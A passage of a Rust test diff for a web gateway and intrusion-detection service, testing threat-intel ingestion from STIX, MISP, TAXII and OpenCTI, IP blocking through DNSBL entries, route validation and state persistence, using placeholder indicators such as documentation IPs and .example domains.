+    #[tokio::test]
+    async fn stix_indicator_ingest_updates_threats_dnsbl_and_feed_freshness() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/threat-intel/stix")
+                .header("content-type", "application/json")
+                .body(Body::from(
+                    r#"{"type":"indicator","pattern":"[ipv4-addr:value = '1.2.3.4']"}"#,
+                ))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let bundle = r#"{
+          "type": "bundle",
+          "id": "bundle--aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+          "objects": [
+            {
+              "type": "indicator",
+              "id": "indicator--bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb",
+              "name": "bad-ip",
+              "pattern": "[ipv4-addr:value = '203.0.113.88']",
+              "pattern_type": "stix",
+              "valid_from": "2024-01-01T00:00:00Z",
+              "confidence": 90
+            },
+            {
+              "type": "indicator",
+              "id": "indicator--cccccccc-cccc-4ccc-8ccc-cccccccccccc",
+              "name": "bad-domain",
+              "pattern": "[domain-name:value = 'phish.example']",
+              "pattern_type": "stix",
+              "valid_from": "2024-01-01T00:00:00Z",
+              "confidence": 70
+            }
+          ]
+        }"#;
+        let response = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/threat-intel/stix?feed_id=stix-lab&source=stix:lab&ttl_seconds=3600")
+                .header("content-type", "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(bundle))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["feed_id"], "stix-lab");
+        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
+        assert_eq!(body["upserted_dnsbl"], 1);
+
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "phish.example" && t.indicator_type == "domain")
+        );
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "203.0.113.88" && t.indicator_type == "client_ip")
+        );
+
+        let dnsbl: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(
+            dnsbl
+                .iter()
+                .any(|d| d.address.to_string() == "203.0.113.88")
+        );
+
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            freshness
+                .iter()
+                .any(|f| f.feed_id == "stix-lab" && !f.stale)
+        );
+
+        let route_resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &serde_json::json!({
+                    "id": "stix-block",
+                    "path_prefix": "/stix",
+                    "upstream": "mock://x",
+                    "mode": "block",
+                    "enabled": true
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(route_resp.status(), StatusCode::CREATED);
+        let blocked = app_request(&app, gateway_get_from_ip("/gateway/stix", "203.0.113.88")).await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/threat-intel/stix")
+        );
+    }
+
+    #[tokio::test]
+    async fn misp_event_ingest_updates_threats_dnsbl_and_feed_freshness() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/threat-intel/misp")
+                .header("content-type", "application/json")
+                .body(Body::from(
+                    r#"{"Event":{"Attribute":[{"type":"ip-dst","value":"1.2.3.4","to_ids":true}]}}"#,
+                ))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let event = r#"{
+          "Event": {
+            "id": "99",
+            "info": "buyer-lab misp sample",
+            "threat_level_id": "1",
+            "Attribute": [
+              {
+                "type": "ip-dst",
+                "value": "203.0.113.91",
+                "to_ids": true,
+                "comment": "scanner"
+              },
+              {
+                "type": "domain",
+                "value": "misp-evil.example",
+                "to_ids": true
+              },
+              {
+                "type": "url",
+                "value": "http://misp-evil.example/phish",
+                "to_ids": true
+              },
+              {
+                "type": "comment",
+                "value": "ignored",
+                "to_ids": true
+              }
+            ]
+          }
+        }"#;
+        let response = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/threat-intel/misp?feed_id=misp-lab&source=misp:lab&ttl_seconds=3600")
+                .header("content-type", "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(event))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["feed_id"], "misp-lab");
+        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
+        assert_eq!(body["upserted_dnsbl"], 1);
+        assert!(body["skipped_attributes"].as_u64().unwrap() >= 1);
+
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "misp-evil.example" && t.indicator_type == "domain")
+        );
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "203.0.113.91" && t.indicator_type == "client_ip")
+        );
+
+        let dnsbl: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(
+            dnsbl
+                .iter()
+                .any(|d| d.address.to_string() == "203.0.113.91")
+        );
+
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            freshness
+                .iter()
+                .any(|f| f.feed_id == "misp-lab" && !f.stale)
+        );
+
+        let route_resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &serde_json::json!({
+                    "id": "misp-block",
+                    "path_prefix": "/misp",
+                    "upstream": "mock://x",
+                    "mode": "block",
+                    "enabled": true
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(route_resp.status(), StatusCode::CREATED);
+        let blocked = app_request(&app, gateway_get_from_ip("/gateway/misp", "203.0.113.91")).await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/threat-intel/misp")
+        );
+    }
+
+    #[tokio::test]
+    async fn taxii_collection_poll_imports_stix_and_blocks_gateway() {
+        let taxii_body = r#"{
+          "more": false,
+          "objects": [
+            {
+              "type": "indicator",
+              "id": "indicator--dddddddd-dddd-4ddd-8ddd-dddddddddddd",
+              "name": "taxii-bad-ip",
+              "pattern": "[ipv4-addr:value = '203.0.113.92']",
+              "pattern_type": "stix",
+              "valid_from": "2024-01-01T00:00:00Z",
+              "confidence": 90
+            },
+            {
+              "type": "indicator",
+              "id": "indicator--eeeeeeee-eeee-4eee-8eee-eeeeeeeeeeee",
+              "name": "taxii-bad-domain",
+              "pattern": "[domain-name:value = 'taxii-evil.example']",
+              "pattern_type": "stix",
+              "valid_from": "2024-01-01T00:00:00Z",
+              "confidence": 70
+            }
+          ]
+        }"#;
+        let taxii_app = Router::new().route(
+            "/api1/collections/lab/objects/",
+            axum::routing::get(move || {
+                let body = taxii_body.to_string();
+                async move {
+                    (
+                        StatusCode::OK,
+                        [("content-type", "application/taxii+json;version=2.1")],
+                        body,
+                    )
+                }
+            }),
+        );
+        let taxii_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let taxii_addr = taxii_listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(taxii_listener, taxii_app).into_future());
+
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/taxii/poll",
+                None,
+                &serde_json::json!({
+                    "objects_url": format!("http://{taxii_addr}/api1/collections/lab/objects/")
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/taxii/poll",
+                Some("secret"),
+                &serde_json::json!({
+                    "api_root": format!("http://{taxii_addr}/api1"),
+                    "collection_id": "lab",
+                    "feed_id": "taxii-lab",
+                    "source": "taxii:lab",
+                    "ttl_seconds": 3600,
+                    "username": "analyst",
+                    "password": "not-logged"
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["feed_id"], "taxii-lab");
+        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
+        assert_eq!(body["upserted_dnsbl"], 1);
+        // Objects URL is returned; credentials must not appear in the response.
+        let response_text = body.to_string();
+        assert!(!response_text.contains("not-logged"));
+        assert!(!response_text.contains("analyst"));
+
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "taxii-evil.example" && t.indicator_type == "domain")
+        );
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "203.0.113.92" && t.indicator_type == "client_ip")
+        );
+
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            freshness
+                .iter()
+                .any(|f| f.feed_id == "taxii-lab" && !f.stale)
+        );
+
+        let route_resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &serde_json::json!({
+                    "id": "taxii-block",
+                    "path_prefix": "/taxii",
+                    "upstream": "mock://x",
+                    "mode": "block",
+                    "enabled": true
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(route_resp.status(), StatusCode::CREATED);
+        let blocked =
+            app_request(&app, gateway_get_from_ip("/gateway/taxii", "203.0.113.92")).await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+
+        let audit: Vec = json_body(
+            app_request(
+                &app,
+                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
+            )
+            .await,
+        )
+        .await;
+        let taxii_audit = audit
+            .iter()
+            .find(|e| e.action == "poll_taxii_collection")
+            .expect("taxii poll audit entry");
+        let audit_text = serde_json::to_string(taxii_audit).unwrap();
+        assert!(!audit_text.contains("not-logged"));
+        assert!(!audit_text.contains("analyst"));
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/threat-intel/taxii/poll")
+        );
+    }
+
+    #[tokio::test]
+    async fn opencti_observable_ingest_updates_threats_dnsbl_and_feed_freshness() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/threat-intel/opencti")
+                .header("content-type", "application/json")
+                .body(Body::from(
+                    r#"{"entities":[{"entity_type":"IPv4-Addr","observable_value":"1.2.3.4"}]}"#,
+                ))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let export = r#"{
+          "data": {
+            "stixCyberObservables": {
+              "edges": [
+                {
+                  "node": {
+                    "entity_type": "IPv4-Addr",
+                    "observable_value": "203.0.113.93",
+                    "x_opencti_score": 95,
+                    "standard_id": "ipv4-addr--lab"
+                  }
+                },
+                {
+                  "node": {
+                    "entity_type": "Domain-Name",
+                    "observable_value": "opencti-evil.example",
+                    "x_opencti_score": 70
+                  }
+                },
+                {
+                  "node": {
+                    "entity_type": "Url",
+                    "observable_value": "http://opencti-evil.example/phish"
+                  }
+                },
+                {
+                  "node": {
+                    "entity_type": "Text",
+                    "observable_value": "noise"
+                  }
+                }
+              ]
+            }
+          }
+        }"#;
+        let response = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri(
+                    "/api/threat-intel/opencti?feed_id=opencti-lab&source=opencti:lab&ttl_seconds=3600",
+                )
+                .header("content-type", "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(export))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["feed_id"], "opencti-lab");
+        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
+        assert_eq!(body["upserted_dnsbl"], 1);
+        assert!(body["skipped_objects"].as_u64().unwrap() >= 1);
+
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threats
+                .iter()
+                .any(|t| { t.value == "opencti-evil.example" && t.indicator_type == "domain" })
+        );
+        assert!(
+            threats
+                .iter()
+                .any(|t| t.value == "203.0.113.93" && t.indicator_type == "client_ip")
+        );
+
+        let dnsbl: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(
+            dnsbl
+                .iter()
+                .any(|d| d.address.to_string() == "203.0.113.93")
+        );
+
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            freshness
+                .iter()
+                .any(|f| f.feed_id == "opencti-lab" && !f.stale)
+        );
+
+        let route_resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &serde_json::json!({
+                    "id": "opencti-block",
+                    "path_prefix": "/opencti",
+                    "upstream": "mock://x",
+                    "mode": "block",
+                    "enabled": true
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(route_resp.status(), StatusCode::CREATED);
+        let blocked = app_request(
+            &app,
+            gateway_get_from_ip("/gateway/opencti", "203.0.113.93"),
+        )
+        .await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/threat-intel/opencti")
+        );
+    }
+
+    #[tokio::test]
+    async fn gateway_covers_monitor_proxy_not_found_and_bad_gateway_paths() {
+        let upstream_app = Router::new().route(
+            "/v1/items",
+            any(|| async { (StatusCode::ACCEPTED, "proxied") }),
+        );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let upstream_addr = listener.local_addr().unwrap();
+        let upstream_task = tokio::spawn(axum::serve(listener, upstream_app).into_future());
+
+        let unused_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let unused_addr = unused_listener.local_addr().unwrap();
+        drop(unused_listener);
+
+        let raw_listener = StdTcpListener::bind("127.0.0.1:0").unwrap();
+        let raw_addr = raw_listener.local_addr().unwrap();
+        let raw_task = thread::spawn(move || {
+            let (mut stream, _) = raw_listener.accept().unwrap();
+            let mut buffer = [0; 512];
+            let _ = stream.read(&mut buffer);
+            stream
+                .write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nshort")
+                .unwrap();
+        });
+
+        let state = AppState::new(
+            AppData {
+                routes: vec![
+                    RouteConfig {
+                        id: "mock".to_string(),
+                        path_prefix: "/mock".to_string(),
+                        upstream: "mock://mock".to_string(),
+                        mode: EnforcementMode::Monitor,
+                        enabled: true,
+                        block_threshold: None,
+                    },
+                    RouteConfig {
+                        id: "proxy".to_string(),
+                        path_prefix: "/proxy".to_string(),
+                        upstream: format!("http://{upstream_addr}"),
+                        mode: EnforcementMode::Monitor,
+                        enabled: true,
+                        block_threshold: None,
+                    },
+                    RouteConfig {
+                        id: "down".to_string(),
+                        path_prefix: "/down".to_string(),
+                        upstream: format!("http://{unused_addr}"),
+                        mode: EnforcementMode::Monitor,
+                        enabled: true,
+                        block_threshold: None,
+                    },
+                    RouteConfig {
+                        id: "truncated".to_string(),
+                        path_prefix: "/truncated".to_string(),
+                        upstream: format!("http://{raw_addr}"),
+                        mode: EnforcementMode::Monitor,
+                        enabled: true,
+                        block_threshold: None,
+                    },
+                ],
+                threats: Vec::new(),
+                operator_threat_keys: Vec::new(),
+                dnsbl: Vec::new(),
+                events: Vec::new(),
+                next_event_id: 1,
+                audit_logs: Vec::new(),
+                next_audit_log_id: 1,
+                commercial: CommercialProfile::seeded(),
+                threat_feeds: Vec::new(),
+                threat_feed_ownership: Vec::new(),
+            },
+            AppConfig {
+                admin_token: None,
+                state_path: None,
+                dnsbl_origin: "dnsbl.local".to_string(),
+                event_limit: 20,
+            },
+        );
+        let app = build_app(state);
+
+        let no_route = app_request(&app, empty_request(Method::GET, "/gateway/none")).await;
+        assert_eq!(no_route.status(), StatusCode::NOT_FOUND);
+
+        let mock_request = Request::builder()
+            .method(Method::GET)
+            .uri("/gateway/mock")
+            .header("x-real-ip", "198.51.100.8")
+            .body(Body::empty())
+            .unwrap();
+        let mock_response = app_request(&app, mock_request).await;
+        assert_eq!(mock_response.status(), StatusCode::OK);
+        assert!(
+            body_text(mock_response)
+                .await
+                .contains("no matching indicator")
+        );
+
+        let proxy_response = app_request(
+            &app,
+            empty_request(Method::GET, "/gateway/proxy/v1/items?ok=1"),
+        )
+        .await;
+        assert_eq!(proxy_response.status(), StatusCode::ACCEPTED);
+        assert_eq!(body_text(proxy_response).await, "proxied");
+
+        let down_response = app_request(&app, empty_request(Method::GET, "/gateway/down")).await;
+        assert_eq!(down_response.status(), StatusCode::BAD_GATEWAY);
+
+        let truncated_response =
+            app_request(&app, empty_request(Method::GET, "/gateway/truncated")).await;
+        assert_eq!(truncated_response.status(), StatusCode::BAD_GATEWAY);
+        raw_task.join().unwrap();
+
+        upstream_task.abort();
+    }
+
+    #[tokio::test]
+    async fn proxy_request_rejects_non_http_upstreams_before_sending() {
+        let state = AppState::seeded(None);
+        let result = proxy_request(
+            &state,
+            &RouteConfig {
+                id: "mock".to_string(),
+                path_prefix: "/mock".to_string(),
+                upstream: "mock://mock".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            },
+            &Method::GET,
+            "/mock",
+            None,
+            Bytes::new(),
+        )
+        .await;
+        assert!(result.is_err());
+        assert!(result.err().unwrap().contains("upstream must use http://"));
+    }
+
+    fn temp_state_path(name: &str) -> PathBuf {
+        let nanos = SystemTime::now()
+            .duration_since(UNIX_EPOCH)
+            .unwrap()
+            .as_nanos();
+        std::env::temp_dir().join(format!(
+            "waf-ids-ai-soc-{name}-{}-{nanos}.json",
+            std::process::id()
+        ))
+    }
+
+    #[tokio::test]
+    async fn loads_missing_state_file_from_seed_and_persists_it() {
+        let path = temp_state_path("seed");
+        let state = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: Some(path.clone()),
+            dnsbl_origin: "dnsbl.example.".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+
+        let data = state.inner.read().await;
+        assert_eq!(data.routes[0].id, "demo");
+        drop(data);
+
+        let persisted = fs::read_to_string(&path).await.unwrap();
+        assert!(persisted.contains("\"next_event_id\": 1"));
+        assert!(persisted.contains("\"demo\""));
+        let _ = fs::remove_file(path).await;
+    }
+
+    #[tokio::test]
+    async fn persists_management_upserts_to_state_file() {
+        let path = temp_state_path("upsert");
+        let state = AppState::load(AppConfig {
+            admin_token: Some("secret".to_string()),
+            state_path: Some(path.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+
+        state
+            .mutate_and_persist(|data| {
+                upsert_route(
+                    &mut data.routes,
+                    RouteConfig {
+                        id: "api".to_string(),
+                        path_prefix: "/api".to_string(),
+                        upstream: "mock://api".to_string(),
+                        mode: EnforcementMode::Block,
+                        enabled: true,
+                        block_threshold: None,
+                    },
+                );
+            })
+            .await
+            .unwrap();
+
+        let loaded: AppData =
+            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
+        assert_eq!(
+            loaded
+                .routes
+                .iter()
+                .filter(|route| route.id == "api")
+                .count(),
+            1
+        );
+        assert_eq!(
+            loaded
+                .routes
+                .iter()
+                .find(|route| route.id == "api")
+                .unwrap()
+                .mode,
+            EnforcementMode::Block
+        );
+        let _ = fs::remove_file(path).await;
+    }
+
+    #[test]
+    fn upserts_threats_and_dnsbl_entries_by_stable_keys() {
+        let mut threats = vec![ThreatIndicator {
+            value: "union select".to_string(),
+            indicator_type: "sqli".to_string(),
+            severity: Severity::High,
+            source: "unit".to_string(),
+            ttl_seconds: 60,
+        }];
+
+        upsert_threat(
+            &mut threats,
+            ThreatIndicator {
+                value: "union select".to_string(),
+                indicator_type: "sqli".to_string(),
+                severity: Severity::Critical,
+                source: "unit".to_string(),
+                ttl_seconds: 120,
+            },
+        );
+
+        assert_eq!(threats.len(), 1);
+        assert_eq!(threats[0].severity, Severity::Critical);
+        assert_eq!(threats[0].ttl_seconds, 120);
+
+        let mut dnsbl = vec![DnsblEntry {
+            address: "203.0.113.10".parse().unwrap(),
+            code: "127.0.0.2".to_string(),
+            reason: "scanner".to_string(),
+            source: "unit".to_string(),
+            ttl_seconds: 300,
+            prefix_len: None,
+        }];
+
+        upsert_dnsbl(
+            &mut dnsbl,
+            DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.3".to_string(),
+                reason: "botnet".to_string(),
+                source: "feed".to_string(),
+                ttl_seconds: 600,
+                prefix_len: None,
+            },
+        );
+
+        assert_eq!(dnsbl.len(), 1);
+        assert_eq!(dnsbl[0].code, "127.0.0.3");
+        assert_eq!(dnsbl[0].reason, "botnet");
+
+        let mut feeds = vec![ThreatFeedStatus {
+            feed_id: "feed-a".to_string(),
+            source: "misp://old".to_string(),
+            last_updated_unix: 1,
+            threat_count: 1,
+            dnsbl_count: 0,
+            ttl_seconds: 60,
+        }];
+
+        upsert_threat_feed(
+            &mut feeds,
+            ThreatFeedStatus {
+                feed_id: "feed-a".to_string(),
+                source: "misp://new".to_string(),
+                last_updated_unix: 2,
+                threat_count: 2,
+                dnsbl_count: 1,
+                ttl_seconds: 120,
+            },
+        );
+        upsert_threat_feed(
+            &mut feeds,
+            ThreatFeedStatus {
+                feed_id: "feed-b".to_string(),
+                source: "taxii://new".to_string(),
+                last_updated_unix: 3,
+                threat_count: 1,
+                dnsbl_count: 1,
+                ttl_seconds: 300,
+            },
+        );
+
+        assert_eq!(feeds.len(), 2);
+        assert_eq!(feeds[0].source, "misp://new");
+        assert_eq!(feeds[1].feed_id, "feed-b");
+    }
+
+    #[test]
+    fn rejects_incomplete_management_records() {
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: " ".to_string(),
+                path_prefix: "/api".to_string(),
+                upstream: "mock://api".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route id is required")
+        );
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: "bad-path".to_string(),
+                path_prefix: "api".to_string(),
+                upstream: "mock://api".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route path_prefix must start with /")
+        );
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: "bad-query".to_string(),
+                path_prefix: "/api?debug=true".to_string(),
+                upstream: "mock://api".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route path_prefix must not contain query or fragment characters")
+        );
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: "bad-fragment".to_string(),
+                path_prefix: "/api#frag".to_string(),
+                upstream: "mock://api".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route path_prefix must not contain query or fragment characters")
+        );
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: "no-upstream".to_string(),
+                path_prefix: "/api".to_string(),
+                upstream: " ".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route upstream is required")
+        );
+        assert_eq!(
+            validate_threat(&ThreatIndicator {
+                value: " ".to_string(),
+                indicator_type: "sqli".to_string(),
+                severity: Severity::High,
+                source: "unit".to_string(),
+                ttl_seconds: 60,
+            }),
+            Err("threat indicator value is required")
+        );
+        assert_eq!(
+            validate_threat(&ThreatIndicator {
+                value: "union select".to_string(),
+                indicator_type: " ".to_string(),
+                severity: Severity::High,
+                source: "unit".to_string(),
+                ttl_seconds: 60,
+            }),
+            Err("threat indicator type is required")
+        );
+        assert_eq!(
+            validate_threat(&ThreatIndicator {
+                value: "union select".to_string(),
+                indicator_type: "sqli".to_string(),
+                severity: Severity::High,
+                source: " ".to_string(),
+                ttl_seconds: 60,
+            }),
+            Err("threat indicator source is required")
+        );
+        assert_eq!(
+            validate_threat(&ThreatIndicator {
+                value: "union select".to_string(),
+                indicator_type: "sqli".to_string(),
+                severity: Severity::High,
+                source: "unit".to_string(),
+                ttl_seconds: 0,
+            }),
+            Err("threat indicator ttl_seconds must be greater than 0")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.2".to_string(),
+                reason: " ".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }),
+            Err("DNSBL reason is required")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.2".to_string(),
+                reason: "scanner".to_string(),
+                source: " ".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }),
+            Err("DNSBL source is required")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.2".to_string(),
+                reason: "scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 0,
+                prefix_len: None,
+            }),
+            Err("DNSBL ttl_seconds must be greater than 0")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "192.0.2.1".to_string(),
+                reason: "scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }),
+            Err("DNSBL response code must be in 127.0.0.0/8")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "::1".to_string(),
+                reason: "scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }),
+            Err("DNSBL response code must be an IPv4 loopback address")
+        );
+        assert_eq!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "not-ip".to_string(),
+                reason: "scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }),
+            Err("DNSBL response code must be an IP address")
+        );
+        assert_eq!(
+            validate_route(&RouteConfig {
+                id: "bad".to_string(),
+                path_prefix: "/api".to_string(),
+                upstream: "ftp://origin".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            }),
+            Err("route upstream must start with mock://, http://, or https://")
+        );
+        assert!(validate_route(&route()).is_ok());
+        assert!(
+            validate_threat(&ThreatIndicator {
+                value: "union select".to_string(),
+                indicator_type: "sqli".to_string(),
+                severity: Severity::High,
+                source: "unit".to_string(),
+                ttl_seconds: 60,
+            })
+            .is_ok()
+        );
+        assert!(
+            validate_dnsbl(&DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.2".to_string(),
+                reason: "scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            })
+            .is_ok()
+        );
+    }
+
+    #[test]
+    fn validates_commercial_profiles_and_threat_feed_imports() {
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                tenant_id: " ".to_string(),
+                ..enterprise_profile()
+            }),
+            Err("commercial tenant_id is required")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                deployment_id: " ".to_string(),
+                ..enterprise_profile()
+            }),
+            Err("commercial deployment_id is required")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                support_contact: " ".to_string(),
+                ..enterprise_profile()
+            }),
+            Err("commercial support_contact is required")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                features: Vec::new(),
+                ..enterprise_profile()
+            }),
+            Err("commercial features must not be empty")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                licensed_node_count: Some(0),
+                ..enterprise_profile()
+            }),
+            Err("commercial licensed_node_count must be greater than 0")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                license_id: Some(" ".to_string()),
+                ..enterprise_profile()
+            }),
+            Err("commercial license_id is required for active or evaluation licenses")
+        );
+        assert_eq!(
+            validate_commercial_profile(&CommercialProfile {
+                licensee: None,
